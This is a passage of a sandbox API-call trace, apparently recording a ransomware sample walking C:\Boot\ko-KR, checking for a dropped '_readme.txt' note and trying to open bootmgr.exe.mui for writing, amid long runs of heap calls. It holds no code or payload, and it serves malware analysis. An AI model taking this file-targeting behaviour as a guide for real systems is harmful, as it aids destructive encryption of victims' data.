Flags=0x0, Size=0x830) returned 0x3067040 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.529] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.529] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.530] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.530] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30189a0 | out: hHeap=0x5b0000) returned 1 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.531] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.531] PathFindFileNameW (pszPath="C:\\Boot\\ko-KR\\") returned="ko-KR\\" [0122.531] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.531] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.531] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.531] PathFindFileNameW (pszPath="") returned="" [0122.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.532] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.532] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.532] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x3067040 [0122.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.532] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.532] PathAppendW (in: pszPath="C:\\Boot\\ko-KR\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0122.532] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.532] PathFileExistsW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned 1 [0122.532] FindFirstFileW (in: lpFileName="C:\\Boot\\ko-KR\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.532] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.532] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac087460, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac087460, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.533] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned=".mui" [0122.533] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.533] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bb0210, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fddaa0 [0122.533] PathFindExtensionW (pszPath="C:\\Boot\\ko-KR\\_readme.txt") returned=".txt" [0122.533] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13bb0210, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13bb0210, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13bb0210, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.533] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.533] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.533] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.533] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.533] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.534] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x30667b8 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.535] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.535] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.536] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.536] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x30667b8 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x30667b8 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.537] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.537] RtlAllocateHeap (HeapHandle=0x5b0000, 